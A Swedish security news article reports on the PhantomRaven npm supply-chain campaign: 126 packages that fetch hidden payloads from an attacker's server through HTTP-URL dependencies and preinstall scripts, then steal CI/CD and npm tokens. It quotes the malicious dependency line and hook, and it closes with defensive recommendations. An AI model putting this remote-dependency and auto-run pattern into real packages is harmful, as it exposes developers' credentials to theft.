Den pågående PhantomRaven npm supply chain attack är en sofistikerad kampanj mot skadlig kod riktad mot utvecklare världen över. Sedan augusti 2025 har attacken distribuerat 126 skadliga npm-paket som tillsammans har laddats ner mer än 86 000 gånger. Syftet är att stjäla npm-autentiseringstokens, GitHub-inloggningsuppgifter och CI/CD-hemligheter, samtidigt som avancerade detektionsundvikande tekniker används för att kringgå de flesta säkerhetsverktyg.
Analytiker på Koi Security identifierade kampanjen i oktober 2025 när deras beteendeövervakningssystem, Wings, flaggade misstänkt nätverksaktivitet under paketinstallationer. Alla skadliga paket gjorde externa förfrågningar till samma domän, vilket avslöjade en samordnad och global operation.

Hur PhantomRaven npm supply chain attack fungerar
Undersökningen av Koi-forskare avslöjade en tydlig tidslinje. De första 21 paketen upptäcktes och togs bort i augusti 2025. Kort därefter anpassade angriparna sin strategi och lyckades publicera ytterligare 80 paket mellan september och oktober som helt undvek vanliga detekteringsmekanismer. Angriparens infrastruktur visar en kontrast mellan tekniskt avancerat utförande och förvånansvärt slarvig driftssäkerhet.
För att dölja den skadliga koden använde angriparna en teknik med fjärrdynamiska beroenden. Den gör det möjligt att definiera beroenden via HTTP-URL:er istället för via npm-registret, till exempel:
“ui-styles-pkg”: “http://packages.storeartifact.com/ui-styles-pkg.tgz”.
När ett sådant paket installeras hämtar npm automatiskt det externa beroendet utan någon säkerhetsvalidering eller insyn.
Detta innebär att koden som laddas upp till npmjs.com kan se helt ofarlig ut – ofta bara ett “hello world”-skript – medan den verkliga skadliga nyttolasten hämtas dynamiskt från angriparens server vid installation. På så sätt kringgår PhantomRaven-angriparna både statisk kodanalys och beroendeskanning.
Dolda beroenden och automatisk körning
När det osynliga beroendet anländer till offrets system aktiveras den skadliga koden omedelbart genom npm:s livscykelskript. Den manipulerade package.json-filen innehåller ett förinstallationsskript, “preinstall”: “node index.js”, som körs automatiskt utan användarens vetskap. Det spelar ingen roll hur djupt i beroendeträdet paketet ligger – varje installation av ett till synes legitimt paket kan utlösa den skadliga körningen.
Den PhantomRaven npm supply chain attack utnyttjar alltså npm:s egen flexibilitet för att leverera skadlig kod i realtid. Eftersom varje installation hämtar beroendet på nytt från angriparens server kan nyttolasten dessutom anpassas efter målmiljön, vilket gör attacken mycket svår att upptäcka och stoppa.
Vad angriparna samlar in
Efter en lyckad installation samlar PhantomRaven systematiskt in e-postadresser från miljövariabler, gitconfig-filer, npmrc-konfigurationer och författarfält i package.json. Den exfiltrerar även CI/CD-autentiseringsuppgifter, däribland GitHub Actions-tokens, GitLab CI-nycklar, Jenkins-inloggningar, CircleCI-tokens och npm-publiceringstokens.
Skadlig programvara gör därefter en fullständig systemprofilering: offentliga IP-adresser, värdnamn, operativsystem, Node.js-versioner och nätverkskonfigurationer samlas in för att skilja mellan företagsnätverk och enskilda utvecklarmaskiner. Den informationen används för att identifiera värdefulla mål där angriparna kan vinna större åtkomst eller spridning.
Operativt slarv och spårning
Trots den tekniska skickligheten visar infrastrukturen tecken på operativt slarv. Flera e-postkonton skapades sekventiellt via gratistjänster – från jpdtester01@hotmail.com till jpdtester13@gmail.com – och användarnamn som npmhell och npmpackagejpd återkommer i flera paket. Denna inkonsekvens har gjort det möjligt för forskare att spåra kampanjen till en enskild aktör, vilket ger hopp om framtida identifiering och åtal.
.webp)
Rekommenderade skyddsåtgärder
- Rotera alla tokens och API-nycklar (GitHub, npm, CI/CD) som kan ha exponerats.
- Granska package.json-filer och identifiera alla beroenden som refererar till HTTP-URL:er. Blockera eller ta bort dem.
- Implementera SBOM-verktyg som CycloneDX eller SPDX för att få full insyn i beroenden och versionshistorik.
- Begränsa token-behörigheter, använd kortlivade hemligheter och aktivera automatisk rotation.
- Inför beteendebaserad övervakning i CI/CD-miljöer, exempelvis sandbox-analys av nya paket innan de distribueras.
- Följ OWASP Software Component Verification Standard för säker hantering av tredjepartsberoenden.
- Överväg att använda privata npm-register och validering av beroenden innan publicering för att minska risken för manipulation i öppna ekosystem.

Analys och betydelse för branschen
Den växande omfattningen av attacker som PhantomRaven npm supply chain attack visar tydligt hur beroendekedjan har blivit en av mjukvarans största sårbarheter. I takt med att företag bygger på öppen källkod och tusentals tredjepartspaket ökar risken att en enda komprometterad komponent får enorma konsekvenser.
För organisationer inom IT-branschen innebär detta att säkerhet inte längre bara handlar om nätverk eller slutanvändare – utan om hela utvecklingskedjan. Säker kodhantering, tillförlitliga beroenden och kontinuerlig analys av leverantörskedjan blir en strategisk fråga snarare än en teknisk detalj.
Kampanjen visar också att angripare har börjat tänka som utvecklare: de utnyttjar befintliga funktioner i verktyg som npm för att sprida skadlig kod på ett sätt som ser helt legitimt ut. Detta kräver en förändring i hur företag övervakar och verifierar sin programvara.
För svenska och nordiska företag understryker händelsen vikten av att bygga upp kompetens inom software supply chain security och att följa internationella standarder. Genom proaktiv kontroll, delad information och öppna samarbeten kan branschen stå bättre rustad inför nästa stora angrepp.







